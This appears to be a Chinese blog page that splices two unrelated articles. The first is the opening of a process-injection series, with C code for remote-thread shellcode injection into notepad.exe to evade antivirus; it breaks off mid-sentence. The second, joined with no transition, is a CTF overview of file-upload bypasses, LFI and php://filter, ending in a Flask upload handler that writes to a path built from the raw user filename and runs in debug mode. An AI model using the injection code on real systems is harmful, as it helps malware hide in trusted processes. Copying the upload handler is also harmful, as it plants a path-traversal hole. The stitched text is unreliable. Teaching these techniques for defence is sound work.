进程注入系列Part 1 常见的进程注入手段

前言    

进程注入是一种众所周知的技术,恶意程序利用它在进程的内存中插入并执行代码。

进程注入是一种恶意程序广泛使用的防御规避技术。大多数情况下,恶意程序使用进程注入来动态运行代码,这意味着实际的恶意代码不需要直接写入磁盘上的文件中,以避免被防病毒软件的静态检测所发现。

简单来说,进程注入就是将一段数据从一个进程传输到另一个进程的方法,这种注入过程可以发生在执行操作的同一进程(自注入)上,也可发生在外部进程上。在注入外部进程的情况下,攻击者通常会选择受信任的合法进程,例如正在运行的应用程序或系统进程,其目的是未经授权地访问和操纵这些进程,同时也希望能够隐藏自己注入的恶意代码,以逃避安全软件和防御者的检测。

无论是在同一进程还是远程进程中,为了在内存中注入和执行代码,攻击者会使用 Windows API 的不同组合。这些 API 在注入逻辑中有不同的用途,具体使用的函数调用数量和特定的 Windows API 可能会有所不同,这取决于所选的代码注入方法。

已有多种方法实现在 Windows 进程空间内的代码注入和执行,下面列出了常见的进程注入方法(以注入 shellcode 为例,注入 DLL 类似)。

ps:文中设计的示例代码为了精简,方便看清逻辑,并未添加相关错误处理。

 传统的远程线程注入 

该注入技术通过实例化远程线程来实现在目标进程中的执行。

 工作流程:

  •  获取目标进程的句柄 

  •  在目标进程中为 payload 分配空间 

  •  将 payload 写入目标进程分配的空间中 

  •  创建一个线程执行注入代码 

int main()
{
    SIZE_T payloadLen = sizeof(payload);

    DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
    LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
    WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL);
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, NULL);
    WaitForSingleObject(hThread, 500);

    return 0;
}

根据该注入技术,可以拓展出许多基于该技术的变种,在获取目标进程句柄上,恶意程序可以通过创建一个新的进程来实现(CreateProcess、CreateProcessWithLogonW、Create

### CTF Web 文件上传机制 在Web应用程序中,文件上传功能允许用户向服务器提交文件。此过程通常涉及HTML表单中的`<input type="file">`元素以及相应的后端处理逻辑。当用户选择并提交文件时,浏览器会将文件数据发送到服务器上的特定URL。 为了实现这一操作,在客户端通过HTTP POST请求携带文件内容至服务端。服务端接收到该请求后解析其中的数据流,并将其保存为物理磁盘上的实际文件或临时存储位置以便后续处理[^1]。 #### 安全验证措施 理想情况下,开发者会在接收之前实施多种安全检查来防止恶意行为: - **文件扩展名过滤**:仅接受预定义的安全列表内的扩展名(如`.jpg`, `.png`),拒绝其他类型的文件。 - **MIME类型检测**:依据Content-Type头部字段确认上传对象的真实媒体类别,确保其符合预期格式。 - **文件头校验**:读取部分字节以判断文件签名是否匹配所声明的格式特征。 - **大小限制设定**:规定最大可接受尺寸以防资源耗尽攻击。 然而,在实践中这些防护手段可能被绕过或者存在缺陷,从而暴露出潜在风险点[^2]。 ### 常见漏洞及其利用手法 尽管采取了上述预防措施,但在某些场景下仍可能出现疏漏之处: - **LFI敏感文件读取**:如果应用未能妥善管理内部路径访问权限,则可能导致本地文件包含(Local File Inclusion, LFI),使攻击者能够获取任意系统文件甚至执行远程命令。 - **PHP伪协议滥用**:借助于特殊构造的链接参数(`php://filter`)可以改变输入流的行为模式,进而达到泄露源代码的目的。 - **条件竞争窗口**:假设两个并发进程试图同时创建相同名称的目标实体;由于缺乏同步控制机制而引发竞态状况(race condition),使得非法条目得以混入合法集合之中。 - **自动附加脚本(auto_append_file)**:一旦设置不当便会给所有响应页面注入额外指令片段,造成不可预见的影响范围扩大化趋势[^3]。 ```python import os from flask import Flask, request, redirect, url_for, send_from_directory app = Flask(__name__) UPLOAD_FOLDER = './uploads' ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg'} def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/upload', methods=['POST']) def upload_file(): if 'file' not in request.files: return "No file part" file = request.files['file'] if file.filename == '': return "No selected file" if file and allowed_file(file.filename): filepath = os.path.join(UPLOAD_FOLDER, file.filename) file.save(filepath) return f"File saved at {filepath}" else: return "Invalid file extension" if __name__ == "__main__": app.run(debug=True) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pachimker

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值